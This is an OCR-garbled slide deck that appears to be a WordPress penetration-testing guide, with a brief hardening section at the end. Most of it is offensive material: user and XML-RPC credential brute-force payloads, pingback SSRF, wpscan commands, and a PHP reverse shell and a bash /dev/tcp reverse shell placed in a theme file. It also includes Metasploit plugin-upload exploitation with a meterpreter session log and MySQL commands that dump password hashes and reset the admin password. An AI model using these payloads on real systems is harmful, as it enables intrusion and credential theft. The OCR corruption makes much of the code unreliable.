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BASIC INFORMATION

Uploaded files go to:
files can be found in /wp-content/themes/, so if you change some php

theme to get RCE you probably will use that path. For example: Using

twentytwelve you can access the 404.php file in: (j\

Another useful url could be:k ‘ 1 I

In wp-config.php you can find the root password of the database.

Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/
/wp-admin.php, /login/



http://10.10.10.10/wp-content/uploads/2018/08/a.txt
http://10.11.1.234/wp-content/themes/twentytwelve/404.php
http://10.11.1.234/wp-content/themes/twentytwelve/404.php

~ MAIN WORDPRESS FILES
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Index.php

license.txt contains useful information such as the version WordPress installed: T

wp-activate.php is used for the email activation process when setting up a new WordPress
Login folders (may be renamed to hide it): )
/wp-admin/login.php
/wp-admin/wp-login.php

/login.php

/wp-login.php

xmlrpc.php is a file that represents a feature of WordPress that enables data to be transmitted,with HITP ,
acting as the transport mechanism and XML as the encoding mechanism. This type of communication has

been replaced by the WordPress REST API.

The wp-content folder is the main directory where plugins and themes are stored.

wp-content/uploads/ Is the directory where any files uploaded to the platform are stored.

wp-includes/This is the directory where core files are stored, such as certificates, fonts, JavaScript files, a
widgets. ra


https://developer.wordpress.org/rest-api/reference

~ MAIN WORDPRESS FILES
POST EXPLOITATION

o The wp-config.php file contains information

WordPress to connect to the database such as the database name,

database host, username and password, authentication,key@
salts, and the database table prefix. This configuration file cTan
also be used to activate DEBUG mode, which can useful in

troubleshooting.



USER PERMISSIONS

o Administrator

o Editor: Publish and manages his and others posts
a Author: Publish and manage his own posts T
a. Contributor: Write and manage his posts but cannot publish them

o Subscriber: Browser posts and edit their profile




PASSIVE ENUMERATION
GET WORDPRESS VERSION

o Check if you can find the files /license.txt or /readme.html

o Inside the source code of the page (example from

https://wordpress.org/support/article/pages/):

Grep

curl https://victim.com/ | grep 'content="WordPress'

Meta name

<link rel="wlwmanifest" type="application/wlwmanifest+xml” href="https://v
<meta name="generator" content="WordPress 5.6-beta3-49535" />

<link rel="shortlink' href="https://wordpress.org/support/?p=10776416" />



https://wordpress.org/support/article/pages/

PASSIVE ENUMERATION AP
GET WORDPRESS VERSION T

- JavaScript Files

link rel="stylesheet' id='wporg-bbp-code-blocks-expand-contract-css' href="h ://wordpress.org/support/wp-content/plugins/wporg-bbp-code-blocks

<script type='text/javascript' src="https://wordpress.org/support ncludes/js/hoverintent-j n.js?ver 1' id="hoverintent-js-js'></script>
script type='text/javascript' src="https://wordpress.org/support/wp-includes/js/admin-bar.min 3-49535" id='admin-bar-js'></script>
script type='text/javascript' src='https://wordpress.org/support/wp-content/plugins/jetpack/ inc/build/photon/photon.min.js2ver=20191001" id='jetpd
script type="text/j script’ src="https://wordpress.org/support/vip-content/themes/pub/wporg-support/js/navigation.js2ver=20181203" id='wporg-supp e
script type='text/javascript' src="https://wordpress.org/support/wp-content/themes/pub/wporg-support/js/forums.js2ver=28200318"' id="wporg-support-f

script type='text/javascript' src="https://wordpress.org/support/vp-includes/js/wp-embed.min.js?ver=5.6-beta3-49535" id='wp-embed-js'></script>

. CSS Link Files

link rel='stylesheet' id='dashicons-css' href="https://wordpress.org/support/wp-i i .minsEsSP . ' type

k rel='stylesheet®' id='admin-bar-css' href="https://wordpress.org/support/wp-includes/css/admin-bar.min.css?ver=5.6-beta3-49535" type="te




curl -s -X GET https://wordpress.org/support/article/pages/ | crep -E
'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS"
"{print $2}' | -d "'" -2

curl -s -X GET https://wordpress.org/support/article/pages/ | crep -E
'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS"

‘{print $2}' | cut -d "'" -f2

curl -s -X GET https://wordpress.org/support/article/pages/ | zrep http |

grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print

C] ocuto-d "t -f2

https://t.me/learningnets




ACTIVE ENUMERATION
PLUGINS AND THEMES

You probably won't be able to find all the Plugins and Themes @
order to discover all of them, you will need to actively Brute Force T/j\
of Plugins and Themes (hopefully for us there are automated toélst’Ha\t\T/’ \

contains this lists).




__ ACTIVE ENUMERATION
USERS N

o ID Brute: You get valid users from a WordPress site ny Br;hg

~

users IDs

curl -s -I -X GET http://blog.example.com/?author=1

o Ifthe responses are 200 or 30X, that means that the id is valid. If the * T

response is 400, then the id is invalid.




~ ACTIVE ENUMERATION
USERS

o  wp-json

2 You can also try to get information about the users by queryi

curl http://blog.example.com/wp-json/wp/v2/users

o -O0nly information about the users that has this feature enable will be
provided.
a . Also.note.that /wp-json/wp/v2/pages could leak IP addresses.




ACTIVE ENUMERATION
USERS

2 Login username enumeration: when login in /wp-login.php the me
is different is the indicated username exists or not. T’/j\




ACTIVE ENUMERATION
™ XML-RPC

o Ifxml-rpc.php is active you can perform a credentials br
it to launch DoS attacks to other resources. (You can automate

process_using this for example).

o Toseeifitisactive try to access to /xmlrpc.php and send this

<methodCall>

<methodName>system. listMethods</methodName>
<params></params>

</methodCall>



https://github.com/relarizky/wpxploit

ACTIVE ENUMERATION o
XML-RPC

php HTTR/1.1

st: yourtaget.com Date: Wed, 09 Jan 2019 04:04:32 MY
sser-Agent: Mozillass.0 [X1); Limux x86_64; rv:60.0] Gecko/20100101 server: Apache
Firefox/60.0 Set-Cookie: PHPSESSID=qabbguarg resdsiirosicgd; pathe/
ccopt: text/html, applicat /xhtalexnl  application/xnl qe0.9,%/%;q~0.8 Expires: Thu, 19 Nov 1981 O8:52:00 GHT

ccopt-Language: en-US en;q-0.5 Cache-Control: mo-store, no-cache, sust.revalidate, p
ccept-Encoding: gzip, deflate pre-check«o
Connection: close . Pragma: no-cache

Upgrade - Insecure -Requests: Connection: close T
Content-Length: 9% Vary: Accept-Encoding
Content-Type: t xml;: charset=UTE-8

methodCall> Content-Length

«/methodNase>

«7xml 3 0" encodim

ata>

>system. sulticalle/str

>system, ListMethods</ st

graysten, getCapabilities<,

yrdono . addTuolusber s«
grdese . saymello« st
g=pingback.extensions. gnPn-qh.uh- /st
g=pingback.ping«

>at.publishPost</ 1

ot getTrackbackPings</st




ACTIVE ENUMERATION
D XML-RPC

o Credentials Bruteforce

- wp.getUserBlogs, wp.getCategories or metaWeblog.getUsersBlogs are som

something like:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>

</methodCall>




ACTIVE ENUMERATION
XML-RPC

The message "Incorrect username or password" inside a 200 code response.sho e
credentials aren't valid.

Request Response

Raw | Params | Headers | Hex | xL | Raw | Headers | Hex | xmL |

05T /wordpress/xanlepc.php HTTP/1.1 HTTP/1.1 200 0K

jost: 18.224.212.48 Date: Wed, 09 Jan 2019 06:12:24 GMT
ser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Server: Apache/2.4.18 (Ubuntu)
irefox/60.0 Connection: close

hccept: text/htal,application/xhtmlexnl, application/xml;q=0.9,%/%;9=0.8 Vary: Accept-Encoding

Accept -Language: en-US,en;g=0.5 Content-Length: 403

hccept-Encoding: gzip, deflate Content-Type: text/xml; charset=UTF-8
ookie: wordpress_test_cookie=wP+Cookie+check

onnection: close «?7xml version="1.0" encoding="UTF-B"7>
pgrade-Insecure-Requests: 1

ache-Control: max-ages~0

ontent-Length: 171

<nenber>
cmethodCall> <name>faultCode</nane>
amethodName>wp . getUsersBlogs</methodName> <values<int>403</1nt></va
parans> </member>
param=«<value>adnin</value»</param» «<nenber>
paran><valuestest</values</param> <name>faultString</nanes
/params» <valuer<string»Incorrect username or password,</strings»</value»
/methodCall> </member>

</struct»
lue>

</tault>

</methodResponses




ACTIVE ENUMERATION

XML-RPC

Request

Raw | Params | Headers | Hex | XM

POST /wordpress/xanlrpc.php HTTP/1.1

ost: 18,224.212.48

ser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
irefox/60.0

pccept: text/htal,application/xhtmlexml,application/xml;q=0.9,%/%;q=0.8
Accept -Language: en-US,en;q=0.5

fpccept-Encoding: gzip, deflate

Lookie: wordpress_test_cookie=wP+C

onnection: close

pgrade-Insecure-Requests: 1

ache-Control: max-age=0

ontent-Length: 176

methodCall>

methodName»wp . getUsersBlogs</methodNane»
parans>
paran=<valueradmin</value»</param»
param><valuesadnin</values></param>
</params>

</methodCall>

I Hoad«s Hex |

HTTR/1.1 200 0K

Date: Wed, 09 Jan 2019 06:11:42 GMT
Server: Apache/2.4.18 (Ubuntu)
Connection: close

Vary: Accept-Encoding
Content-Length: 658

Content-Type: text/xml; charset=UTF-8

«7xml version="1.0" encoding="UTF-8
<methodRespons
<params»
<param>

<value>

<value><str

<nember ><v‘am:>isADlin<,/V' ames><values<booleansl</booleans</values</member>

<menbers<nanesurle/nanes<values<string>http://18.224.212.48/wordpress /</s
tring></value></menber>

<menbers<namesblogid</names<values ing>le/strang></values</nember>

«membe r=<nanesblogName</name»<val yex<string>test trings</values</menber

>

<member><nanesxmlrpe</names<values<string>http: //18.224,212. .48 /wordpress/
xmlrpc.php</string»</value></menbe

</struct></value>




<?xml version='1.0" encoding="utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[ ---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall> ttps://t.me/learningnets



https://gist.github.com/georgestephanis/5681982

ACTIVE ENUMERATION
XML-RPC

Also there is a faster way to brute-force credentials using system.multicall as yo
credentials on the same request:

<7l version="1.6"7>
<nethodcall>
<nethodNane>systen.multicall</methodNiane>

>
<name>nethodNane</name>
<value>

<string>wp.getUsersBlogs</string>
</value>

alue>
<string>userl</string>
</value>

<value>

<string>passwordl</string
</value>
</data>
</array>
</value>
</data>
</array>
</value>
</member>

</struct>

<name>nethodNane</name>
<value>

<string>wp.getUsersBlogs</string
</value>

mber>

ber>

<name>parans</nane>

<value>

~
<stringouser2</string>

</value>

<value>
<string>passwordzk/string>




_ ACTIVE ENUMERATION
XML-RPC

a Bypass 2FA

bypassing 2FA. Note that you won't me able to perform all the actions you can’do -
through the console, but you might still be able to get to RCE as Ippsec explains it
in https://www.youtube.com/watch?v=p8mIdm93mfwat=1130s



https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

ACTIVE ENUMERATION
D XML-RPC

(A DDoS or Port Scanning
* Ifyou can find the method pingback.ping inside the list you can make the Wordpres

indicate any port).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>

</methodCall>




ACTIVE ENUMERATION

XML-RPC

Request

POST /wordpresss/xmlrpc.php HTTR/L.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x64; €.0) Gecko/20100101
Firefox/56.0
<t/html, application/xhtml+xml, application/xml; =0
pt-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: security level=0
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 242

<methodCall>

<methodName>pingback. ping</methodName>

<params><param>

<value><string>hEEp://192, 168, 10.31:1337</string></value>
</param><param><value><string>http://localhost/wordpress/?p=1</string>

</value></param></params>

Response

HTTP/1.1 200 OK
Thu, 26 Apr 2018 12:44:20 GMT
4 OpenSSL/1.0.2n PHP/5.6.33

ontent-Length: 446
ontent-Type: text/xml;charset=UTF-8

¥xml version
<methodResponse>
<fault>
<val
<struct>
<member>
<name>faultCode</name>
<value><int>1¥</int></value>
</menber>
<member>
<name>faultString</name>
<valus><string>The source URL does not contain a link to
the target URL, and so cannot be used as a source.</string></value>
</menmber>
</str
</value>
</fault>
</method




_ ACTIVE ENUMERATION

Wp-cron.php DoS

attackers to cause a DoS. Also, by default, the wp-cron. php is called on'ev

pa
load (anytime a client requests any Wordpress page), which on high- t‘raﬁﬁc@\
can cause problems (DoS).

o tltis recommended to disable Wp-Cron and create a real cronjob inside the host

that perform the needed actions in a regular interval (without causing issues).



ACTIVE ENUMERATION
/wp-json/oembed/1.0/proxy - SSRF

a Trytoaccess

https.//worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa

yirr7og2luktl

Os6ju8.burpcollaboratornet and the Wordpress site may make a request to yqu.

O Thisis the response when it doesn't work:

code: "rest_forbidden”

message: "Sorry, you are not allowed to make proxied oEmbed requests.”

data:
status: 401



https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net
https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net

https://github.com/t0gu/quickpress/blob/master/core/requests.go

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0)

Gecko/20100101 Firefox/69.0"

wpscan --rua -e ap,at,tt,cb,dbe,u,m --url : . in. [--plugins-detection aggressive]
--api-token <API_TOKEN> --passwords
/usr/share/wordlists/external/SeclLists/Passwords/probable-v2-topl1575.txt #Brute force found users

and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

https://t.me/learningnets


https://github.com/t0gu/quickpress/blob/master/core/requests.go
http://www.domain.com
http://www.domain.com

o More than areal attack this is a curiosity. IN the CTF ‘
https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-mdn yo
could flip 1 bit from any wordpress file. So you could flip the poxﬁtﬁln (j\

5389 of the file /var/www/html/wp-includes/user.php to NOP the NOT (1) I

operation.

if ( ! wp_check_password( $password, Suser->user_pass, $user->ID ) ) {

return new WP_Error(


https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man

| ® PANEL RCE

o Modifying a php from the theme used (admin credentials ne
o Appearance > Theme Editor » 404 Template (at the right)
o Change the content for a php shell:



PANEL RCE

theme-editor.php?file=:

£* Most Visited @ Getting Started Offensive Security For.. @ Crackpot: Your passwo.. @ My Offensive Security |...

(i} Dashboard

s Posts

) Media

[[] Pages
Comments

[ Appearance

Themes

Wid

Background
Editor

£ Plugins

&7 Edit Themes

File edited successfully.

Twenty Twelve: 404 Template (404.php) Select theme to edit: Twenty Twelve j Select

You are encouraged to send comments, improvements or suggestions to
me at pentestmonkey@pentestmonkey.net

Description

This script will make an outbound TCP connection to a hardcoded IP and
port.
// The recipient will be given a shell running as the current user (apache
normally).
/!
// Limitations
1= =
// proc_open and stream set blocking require PHP version 4.3+, or 5+
// Use of stream select() on file descriptors returned by proc_open() will
fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pecntl,
posix). These are rarely available.
/!

// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time limit (0);

$VERSION = "1.

$ip = '10.11.0.41'; // CHANGE THIS
$port = 44 // CHANGE THIS
$chunk_size

$write a

$error_a

$shell

Templates

404 Template
(404.php)

ive.php)

Author Template

Comments
men
content-aside.php
content-image.php
content-link.php
content-nol

content-qu
content-statt
content.php
Footer

(footer.php)

Image Attachment Template



http://10.11.1.234/wp-content/themes/twentytwelve/404.php

D PANELRCE
MSF

@ You can use:

use exploit/unix/webapp/wp_admin_shell_upload

To get a session

e




$ cat shell.php

<?php exec("/bin/bash -c¢ 'bash -i >& /dev/tcp/10.10.14.7/4444 0>81'") 7>

https://t.me/learningnets



PLUGIN RCE
PHP PLUGIN

O Thenadd a new plugin

Dashboard plugins

Posts :
Media I Set up your Akismet accou
viedlac
3(5«#
. All (2) | Active (2)
Comments

‘ Bulk Actions v ‘

Appearance
() Plugin

¢ Plugins




PLUGIN RCE
PHP PLUGIN

3

Upload plugin and press Install Now

p Dashboard

Plugins

or occurred. Something may be wrong with WordPress.org or this server's configuration. If you continue to have problems, please try the support forums. (WordPress could not establish a securg

pll.php on line 182

Add Plugins | upload Plugin

If you have a plugin in a .zip format, you may install it by uploading

Browse... shell.php



PLUGIN RCE
PHP PLUGIN

o Click on Proceed

or occurred. Something may be wrong with WordPress.org or this server's configuration. If you continue to have problems, please try the sy rums. (WordPress could not establish a securd
pll.php on line 182

Dashboard Add P[ugins Upload Plugin

If you have a plugin in a .zip format, you may install it by uploading

Appearance Browse... shell.php

K¢ Plugins



PLUGIN RCE
PHP PLUGIN

o Click on Proceed

Installing Plugin from uploaded file: shell.php

Connection Information
To perform the requested action, WordPress needs to access your web server. Ple3

Hostname
| 127.0.0.1

FTP Username

‘ anonymous ‘

FTP Password
This password will not be stored on the server.

Connection Type
@ FTP() FTPS(SSL)




PLUGIN RCE
PHP PLUGIN

Probably this won't do anything apparently, but if you go to Media; you w

your shell uploaded:

Dashboard Media lerary Add New

E ‘ All media items v H All dates
Q] Med ——
Library
) File
[\, magichk.php
< magichk.php
App

earance
) [\, shell.php
Plugins o
9t < shell-1.php
users




PLUGIN RCE
PHP PLUGIN

Access it and you will see the URL to execute the reverse shell:

Dante LLC

Dashboard Edit Media | AddNew

’ shell.php
n,] Media i
Permalink: http://10.10.110.100:65000/wordpress/shell-php-2/
Library N
Pag
omments Caption
Appeara
Plugin
Description
Jsers

(500 ] ) () o) () ) () ) ) e
Tools
Cattinnc

http://10.10.110.100:65000/wordpress/wp-content/uploads/2020/12/shell-1.php a



® PLUGIN RCE
UPLOADING AND ACTIVATING MALICIOUS PLUGIN

(This part is copied from

https://www.hackingarticles.in/wordpress-reverse-shell/)

Some time logon users do not own writable authorization to make modi tlorfj\
to the WordPress theme, so we choose “Inject WP pulgin malicious”asan™ "
alternative strategy to acquiring a web shell.

So, once you have access to a WordPress dashboard, you can attempt installing a
malicious plugin. Here I've already downloaded the vulnerable plugin from exploit
db.

Click here-to download the plugin for practice. e


https://www.hackingarticles.in/wordpress-reverse-shell/
https://www.exploit-db.com/exploits/36374

PLUGIN RCE
UPLOADING AND ACTIVATING MALICIOUS PLUGIN

< e ® @ https://www.exploit-db.com/exploits/36374 B |- %

EDB-ID: CVE: Author: Type:

6374 CRASHBANDICOT WEBAPPS

EDB Verified: ./ Exploit: & / {}

Become a Certified Penetration

Platform: Tester

PHP

Enrollin Advanced Web Attacks and Exploitation ,
the course required to become an Offensive

: Security Web Expert (OSWE)
Vulnerable App: &
:




PLUGIN RCE
UPLOADING AND ACTIVATING MALICIOUS PLUGIN

Since we have zip file for plugin and now it's time to upload the plugin.

Dashboard > plugins > upload plugin

WordPress 5.2.2 is available! Please update now.

Media Add Plugln

Featured Popular Recommended  Favorites
o

If you have marked plugins as favorites on WordPress.org, you can browse them here.

Appearance

Your WordPress.org username: Get Favorites

K¢ Plugins @




PLUGIN RCE
UPLOADING AND ACTIVATING MALICIOUS PLUGIN

O Browse the downloaded zip file as shown.

Add Plugins uploadPlugin

If you have a plugin in a .zip format, you may install it by uploading it herg

Browse...

Install Now




PLUGIN RCE
UPLOADING AND ACTIVATING MALICIOUS PLUGIN

O Once the package gets installed successfully, we need to activate the plug

WordPress 5.2.2 is available! Please update now.

Installing Plugin from uploaded file:
ad33afbc2f2e22877b202d986acd43bd-reflex-gallery.zip

Unpacking the package...
Installing the plugin...

Plugin installed successfully.

Activate Plugin Return to Plugin Installer




PLUGIN RCE
UPLOADING AND ACTIVATING MALICIOUS PLUGIN

O Once the package gets installed successfully, we need to activate the plug

WordPress 5.2.2 is available! Please update now.

Installing Plugin from uploaded file:
ad33afbc2f2e22877b202d986acd43bd-reflex-gallery.zip

Unpacking the package...
Installing the plugin...

Plugin installed successfully.

Activate Plugin Return to Plugin Installer




@ PLUGIN RCE \
UPLOADING AND ACTIVATING MALICIOUS PLUGIN -

O When everything is well setup then go for exploiting. Since we have inst
vulnerable plugin named “reflex-gallery” and it is easily exploitable.
2 You will get exploit for this vulnerability inside Metasploit framework and thu:
load the below module and execute the following command: | ]
0, As the above commands are executed, you will have your meterpreter session. Just

as portrayed in this article, there are multiple methods to exploit a WardPress

platformed.website.



msf5 > use exploit/unix/webapp/wp reflexgallery file upload <=

msfS exploit(unix/webapp/wp _reflexgallery file upload) > set rhosts 192.168.1.101
rhosts => 192.168.1.101

msfS exploit(unix/webapp/wp reflexgallery file upload) > set targeturi /wordpress
targeturi => /wordpress

msfS exploit(unix/webapp/wp reflexgallery file upload) > exploit

[*] Started reverse TCP handler on 192.168.1.106:4444

[+] Our payload is at: UCmmvcxfXSBjZRS.php. Calling payload...
[*] Calling payload...

[*] Se 1Nng Q€ 824 pyte

[*] |Meterpreter session 1 opened |(192.168.1.106:4444 -> 192.168.1.101:34352) at 26
[+] UCmmvcxTXSBJZRS. php

0-192.166.1.101

meterpreter > |}

https://t.me/learningnets



mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use
wordpress;select concat ws(':', user_login, user pass) from wp_users;'

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use
wordpress;UPDATE wp users SET user pass=MD5('hacked') WHERE ID = 1;"

https://t.me/learningnets



® WORDPRESS PROTECTION
REGULAR UPDATES

o Make sure WordPress, plugins, and themes are up to date. Also confi
automated updating is enabled in wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );

add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' ); ' \“(/



WORDPRESS PROTECTION
SECURITY PLUGINS



https://wordpress.org/plugins/wordfence/
https://wordpress.org/plugins/sucuri-scanner/
https://wordpress.org/plugins/better-wp-security/

o d O 0O o0

WORDPRESS PROTECTION
OTHER RECOMMENDATIONS

Remove default admin user
Use strong passwords and 2FA
Periodically review users permissions

Limit login attempts to prevent Brute Force attacks

Rename wp-admin.php file and only allow access internally or from certain IP

addresses.



